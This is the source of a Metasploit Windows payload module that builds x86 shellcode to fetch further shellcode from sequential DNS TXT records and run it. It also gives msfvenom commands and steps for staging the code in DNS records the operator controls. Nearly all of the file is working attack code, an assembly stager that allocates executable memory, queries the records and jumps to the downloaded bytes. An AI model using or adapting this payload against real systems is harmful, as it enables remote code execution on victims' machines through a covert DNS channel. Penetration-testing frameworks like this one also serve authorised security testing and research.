Path: blob/master/modules/payloads/singles/windows/dns_txt_query_exec.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 29178include Msf::Payload::Windows9include Msf::Payload::Single10include Msf::Payload::Windows::BlockApi1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'DNS TXT Record Payload Download and Execution',17'Description' => %q{18Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE19option is used as the base name to iterate over. The payload will first request the TXT contents of the a20hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly21255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using22x86/alpha_mixed with the BufferRegister option set to EDI.23},24'Author' => [25'corelanc0d3r <peter.ve[at]corelan.be>'26],27'License' => MSF_LICENSE,28'Platform' => 'win',29'Arch' => ARCH_X8630)31)3233# EXITFUNC is not supported34deregister_options('EXITFUNC')3536# Register command execution options37register_options(38[39OptString.new('DNSZONE', [ true, 'The DNS zone to query' ]),40]41)42end4344#45# Usage :46# 1. Generate the shellcode you want to deliver via DNS TXT queries47# Make sure the shellcode is alpha_mixed or alpha_upper and uses EDI as bufferregister48# Example :49# ./msfvenom -p windows/messagebox TITLE="Friendly message from corelanc0d3r" TEXT="DNS Payloads FTW" -e x86/alpha_mixed Bufferregister=EDI -f raw50# Output : 658 bytes51# 2. Split the alpha shellcode into individual parts of exactly 255 bytes (+ remaining bytes)52# In case of 658 bytes of payload, there will be 2 parts of 255 bytes, and one part of 144 bytes53# 3. Create TXT records in a zone you control and put in a piece of the shellcode in each TXT record54# The last TXT record might have less than 255 bytes, that's fine55# The first part must be stored in the TXT record for prefix a.<yourdomain.com>56# The second part must be stored in the TXT record for b.<yourdomain.com>57# etc58# First part must start with a. and all parts must be placed in consecutive records59# 4. use the dns_txt_query payload in the exploit, specify the name of the DNS zone that contains the DNS TXT records60# Example: ./msfvenom -p windows/dns_txt_query_exec DNSZONE=corelan.eu -f c61# (Example will show a messagebox)62#63# DNS TXT Records :64# a.corelan.eu : contains first 255 bytes of the alpha shellcode65# b.corelan.eu : contains the next 255 bytes of the alpha shellcode66# c.corelan.eu : contains the last 144 bytes of the alpha shellcode6768def generate(_opts = {})69dnsname = datastore['DNSZONE']70w_type = 0x0010 # DNS_TYPE_TEXT (TEXT)71w_type_offset = 0x1c7273queryoptions = 0x24874# DNS_QUERY_RETURN_MESSAGE (0x200)75# DNS_QUERY_BYPASS_CACHE (0x08)76# DNS_QUERY_NO_HOSTS_FILE (0x40)77# DNS_QUERY_ONLY_TCP (0x02) <- not used atm7879bufferreg = 'edi'8081# create actual payload82payload_data = %^83cld ; clear direction flag84call start ; start main routine85#{asm_block_api}86; actual routine87start:88pop ebp ; get ptr to block_api routine8990; first allocate some space in heap to hold payload91alloc_space:92xor eax,eax ; clear EAX93push 0x40 ; flProtect (RWX)94mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)95push eax ; flAllocationType MEM_COMMIT (0x1000)96push eax ; dwSize (0x1000)97push 0x0 ; lpAddress98push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}99call ebp100push eax ; save pointer on stack, will be used in memcpy101mov #{bufferreg}, eax ; save pointer, to jump to at the end102103104; load dnsapi.dll105load_dnsapi:106xor eax,eax ; put part of string (hex) in eax107mov al,0x70108mov ah,0x69109push eax ; push 'dnsapi' to the stack110push 0x61736e64 ; ...111push esp ; Push a pointer to the 'dnsapi' string on the stack.112push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}113call ebp ; LoadLibraryA( "dnsapi" )114115;prepare for loop of queries116mov bl,0x61 ; first query, start with 'a'117118dnsquery:119jmp.i8 get_dnsname ; get dnsname120121get_dnsname_return:122pop eax ; get ptr to dnsname (lpstrName)123mov [eax],bl ; patch sequence number in place124xchg esi,ebx ; save sequence number125push esp ; prepare ppQueryResultsSet126pop ebx ; (put ptr to ptr to stack on stack)127sub ebx,4128push ebx129push 0x0 ; pReserved130push ebx ; ppQueryResultsSet131push 0x0 ; pExtra132push #{queryoptions} ; Options133push #{w_type} ; wType134push eax ; lpstrName135push #{Rex::Text.block_api_hash('dnsapi.dll', 'DnsQuery_A')}136call ebp ;137test eax, eax ; query ok?138jnz jump_to_payload ; no, jump to payload139jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it140141get_dnsname:142call get_dnsname_return143db "a.#{dnsname}", 0x00144145get_query_result:146xchg #{bufferreg},edx ; save start of heap147pop #{bufferreg} ; heap structure containing DNS results (DNS_TXT_DATAA)148mov eax,[#{bufferreg}+0x18] ; check the number of strings in the response149cmp eax,1 ; skip if there's not exactly 1 string in the response150jne prepare_payload ; jmp to payload151add #{bufferreg},#{w_type_offset} ; get ptr to ptr to DNS reply152mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply153154copy_piece_to_heap:155xchg ebx,esi ; save counter156mov esi,edi ; set source157mov edi,[esp+0x8] ; retrieve heap destination for memcpy158xor ecx,ecx ; clear ecx159mov cl,0xff ; always copy 255 bytes, no matter what160rep movsb ; copy from ESI to EDI161push edi ; save target for next copy162push edi ; 2 more times to make sure it's at esp+8163push edi ;164inc ebx ; increment sequence165xchg #{bufferreg},edx ; restore start of heap166jmp.i8 dnsquery ; try to get the next piece, if any167168prepare_payload:169mov #{bufferreg},edx170171jump_to_payload:172jmp #{bufferreg} ; jump to it173^174self.assembly = payload_data175super176end177end178179180